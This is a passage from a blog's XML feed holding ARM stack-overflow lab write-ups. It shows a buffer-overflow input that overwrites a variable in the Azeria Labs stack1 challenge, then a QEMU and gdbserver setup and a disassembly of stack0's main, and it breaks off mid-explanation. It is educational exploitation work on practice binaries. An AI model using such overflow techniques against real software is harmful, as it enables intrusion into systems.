&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10534&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;132&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pc&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="атака"&gt;Атака&lt;/h2&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;./stack1&lt;span class="w"&gt; &lt;/span&gt;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdcba
you&lt;span class="w"&gt; &lt;/span&gt;have&lt;span class="w"&gt; &lt;/span&gt;correctly&lt;span class="w"&gt; &lt;/span&gt;got&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;variable&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;right&lt;span class="w"&gt; &lt;/span&gt;value
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/01/17/Smashing-ARM-Stack-for-Fun-Part-II.html" rel="alternate" type="text/html" title="Smashing ARM Stack for Fun - Part II"/>
    <category term="reversing" label="reversing"/>
    <category term="exploiting" label="exploiting"/>
    <category term="ARM" label="ARM"/>
    <category term="iasm" label="iasm"/>
    <category term="azeria-labs" label="azeria-labs"/>
    <published>2021-01-17T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/01/14/Smashing-ARM-Stack-for-Fun-Part-I.html</id>
    <title>Smashing ARM Stack for Fun - Part I</title>
    <updated>2021-01-14T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;This is the first of a serie of posts about exploiting 32 bits Arm binaries.&lt;/p&gt;
&lt;p&gt;These &lt;a href="https://github.com/azeria-labs/ARM-challenges"&gt;challenges&lt;/a&gt; were &lt;a href="https://azeria-labs.com/part-3-stack-overflow-challenges/"&gt;taken&lt;/a&gt; from &lt;a href="https://azeria-labs.com"&gt;Azeria Labs&lt;/a&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="setup"&gt;Setup&lt;/h2&gt;
&lt;p&gt;&lt;label for='CkZvciB0aGUgcmVjb3JkczoKCmBgYGNwcApxZW11LXN5c3RlbS1hcm0KICAtTSB2ZXJzYXRpbGVwYgogIC1jcHUgYXJtMTE3NgogIC1tIDI1NgogIC1kcml2ZSAiZmlsZT0yMDIwLTEyLTAyLXJhc3Bpb3MtYnVzdGVyLWFybWhmLWxpdGUuaW1nLGlmPW5vbmUsaW5kZXg9MCxtZWRpYT1kaXNrLGZvcm1hdD1yYXcsaWQ9ZGlzazAiCiAgLWRldmljZSAidmlydGlvLWJsay1wY2ksZHJpdmU9ZGlzazAsZGlzYWJsZS1tb2Rlcm49b24sZGlzYWJsZS1sZWdhY3k9b2ZmIgogIC1uZXQgInVzZXIsaG9zdGZ3ZD10Y3A6OjMwMjItOjIyLGhvc3Rmd2Q9dGNwOjo5OTk5LTo5OTk5IgogIC1kdGIgdmVyc2F0aWxlLXBiLWJ1c3Rlci01LjQuNTEuZHRiCiAgLWtlcm5lbCBrZXJuZWwtcWVtdS01LjQuNTEtYnVzdGVyCiAgLWFwcGVuZCAicm9vdD0vZGV2L3ZkYTIgcGFuaWM9MSIKICAtbm8tcmVib290CiAgLW5ldCBuaWMKICAtbm9ncmFwaGljCmBgYAptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkZvciB0aGUgcmVjb3JkczoKCmBgYGNwcApxZW11LXN5c3RlbS1hcm0KICAtTSB2ZXJzYXRpbGVwYgogIC1jcHUgYXJtMTE3NgogIC1tIDI1NgogIC1kcml2ZSAiZmlsZT0yMDIwLTEyLTAyLXJhc3Bpb3MtYnVzdGVyLWFybWhmLWxpdGUuaW1nLGlmPW5vbmUsaW5kZXg9MCxtZWRpYT1kaXNrLGZvcm1hdD1yYXcsaWQ9ZGlzazAiCiAgLWRldmljZSAidmlydGlvLWJsay1wY2ksZHJpdmU9ZGlzazAsZGlzYWJsZS1tb2Rlcm49b24sZGlzYWJsZS1sZWdhY3k9b2ZmIgogIC1uZXQgInVzZXIsaG9zdGZ3ZD10Y3A6OjMwMjItOjIyLGhvc3Rmd2Q9dGNwOjo5OTk5LTo5OTk5IgogIC1kdGIgdmVyc2F0aWxlLXBiLWJ1c3Rlci01LjQuNTEuZHRiCiAgLWtlcm5lbCBrZXJuZWwtcWVtdS01LjQuNTEtYnVzdGVyCiAgLWFwcGVuZCAicm9vdD0vZGV2L3ZkYTIgcGFuaWM9MSIKICAtbm8tcmVib290CiAgLW5ldCBuaWMKICAtbm9ncmFwaGljCmBgYAptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
For the records:
&lt;br /&gt;&lt;br /&gt;
&lt;span class="pseudo-pre"&gt;&lt;code&gt;&lt;span class="highlight-candombe"&gt;&lt;span class="n"&gt;qemu&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;arm&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;versatilepb&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;cpu&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arm1176&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;drive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;file=2020-12-02-raspios-buster-armhf-lite.img,if=none,index=0,media=disk,format=raw,id=disk0&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;virtio-blk-pci,drive=disk0,disable-modern=on,disable-legacy=off&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;user,hostfwd=tcp::3022-:22,hostfwd=tcp::9999-:9999&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;dtb&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;versatile&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pb&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;buster&lt;/span&gt;&lt;span class="mf"&gt;-5.4.51&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dtb&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;kernel&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;qemu&lt;/span&gt;&lt;span class="mf"&gt;-5.4.51&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;buster&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;root=/dev/vda2 panic=1&amp;quot;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;no&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;reboot&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nic&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;nographic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Let’s &lt;a href="/articles/2020/12/15/Qemulating-Rasbian-ARM.html"&gt;spin a Rasbian&lt;/a&gt; first. Make your to forward a port for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ssh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and another for the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;gdbserver&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so we can connect to them from the host machine.&lt;/p&gt;
&lt;p&gt;There are &lt;a href="https://github.com/azeria-labs/ARM-challenges"&gt;7 binaries&lt;/a&gt; compiled for ARM for 32 bits, not stripped and dynamically linked.&lt;/p&gt;
&lt;p&gt;We will focus on &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;stack0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for now.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;file&lt;span class="w"&gt; &lt;/span&gt;stack0
stack0:&lt;span class="w"&gt; &lt;/span&gt;ELF&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;32&lt;/span&gt;-bit&lt;span class="w"&gt; &lt;/span&gt;LSB&lt;span class="w"&gt; &lt;/span&gt;executable,&lt;span class="w"&gt; &lt;/span&gt;ARM,&lt;span class="w"&gt; &lt;/span&gt;EABI5&lt;span class="w"&gt; &lt;/span&gt;version&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;SYSV&lt;span class="o"&gt;)&lt;/span&gt;,
dynamically&lt;span class="w"&gt; &lt;/span&gt;linked,&lt;span class="w"&gt; &lt;/span&gt;interpreter&lt;span class="w"&gt; &lt;/span&gt;/lib/ld-linux-armhf.so.3,
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;GNU/Linux&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.6.32,
BuildID&lt;span class="o"&gt;[&lt;/span&gt;sha1&lt;span class="o"&gt;]=&lt;/span&gt;1171fa6db1d5176af44d6d462427f8d244bd82c8,
not&lt;span class="w"&gt; &lt;/span&gt;stripped
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Spin the &lt;code class="none"&gt;gdbserver&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;gdbserver&lt;span class="w"&gt; &lt;/span&gt;:9999&lt;span class="w"&gt; &lt;/span&gt;stack0
Process&lt;span class="w"&gt; &lt;/span&gt;/home/pi/stack0&lt;span class="w"&gt; &lt;/span&gt;created&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;410&lt;/span&gt;
Listening&lt;span class="w"&gt; &lt;/span&gt;on&lt;span class="w"&gt; &lt;/span&gt;port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;9999&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And now, from the host, connect your &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;gdb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to the server. In my case I will use &lt;a href="https://github.com/pwndbg/pwndbg"&gt;pwndbg&lt;/a&gt;, an enhanced version of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;gdb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;gdb-multiarch&lt;span class="w"&gt; &lt;/span&gt;-q&lt;span class="w"&gt; &lt;/span&gt;-x&lt;span class="w"&gt; &lt;/span&gt;~/scripts/pwndbg.gdbinit
pwndbg&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;target&lt;span class="w"&gt; &lt;/span&gt;extended-remote&lt;span class="w"&gt; &lt;/span&gt;:9999
Remote&lt;span class="w"&gt; &lt;/span&gt;debugging&lt;span class="w"&gt; &lt;/span&gt;using&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;...&amp;gt;
Reading&lt;span class="w"&gt; &lt;/span&gt;/home/pi/stack0&lt;span class="w"&gt; &lt;/span&gt;from&lt;span class="w"&gt; &lt;/span&gt;remote&lt;span class="w"&gt; &lt;/span&gt;target...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In addition to the debugger, I will use an &lt;a href="https://github.com/bad-address/iasm"&gt;interactive assembler&lt;/a&gt; to play with some Arm code that I may not understand but which I don’t want to run in the debugger (see &lt;a href="/articles/2021/01/09/Interactive-Assembler.html"&gt;my post about &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;iasm&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;h2 id="stack-initialization"&gt;Stack initialization&lt;/h2&gt;
&lt;p&gt;The stack initialization of &lt;code class="none"&gt;main&lt;/code&gt; is as follows:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;pdisass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;►&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1044c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nv"&gt;push&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lr&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10450&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;add&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10454&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x50&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10458&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x50]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1045c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x54]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10460&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10464&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;str&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-8]&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10468&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x48&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x1046c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nv"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;
&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10470&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;bl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;#gets@plt &amp;lt;gets@plt&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are pushed in that order (0x8 bytes), the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is updated and points to the pushed &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and then 0x50 bytes are allocated (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#0x50&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The arguments of &lt;code class="none"&gt;main&lt;/code&gt;, registers &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, are saved on &lt;em&gt;top&lt;/em&gt; of the stack (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x50]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-0x54]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;And then the cookie is stored:&lt;/p&gt;
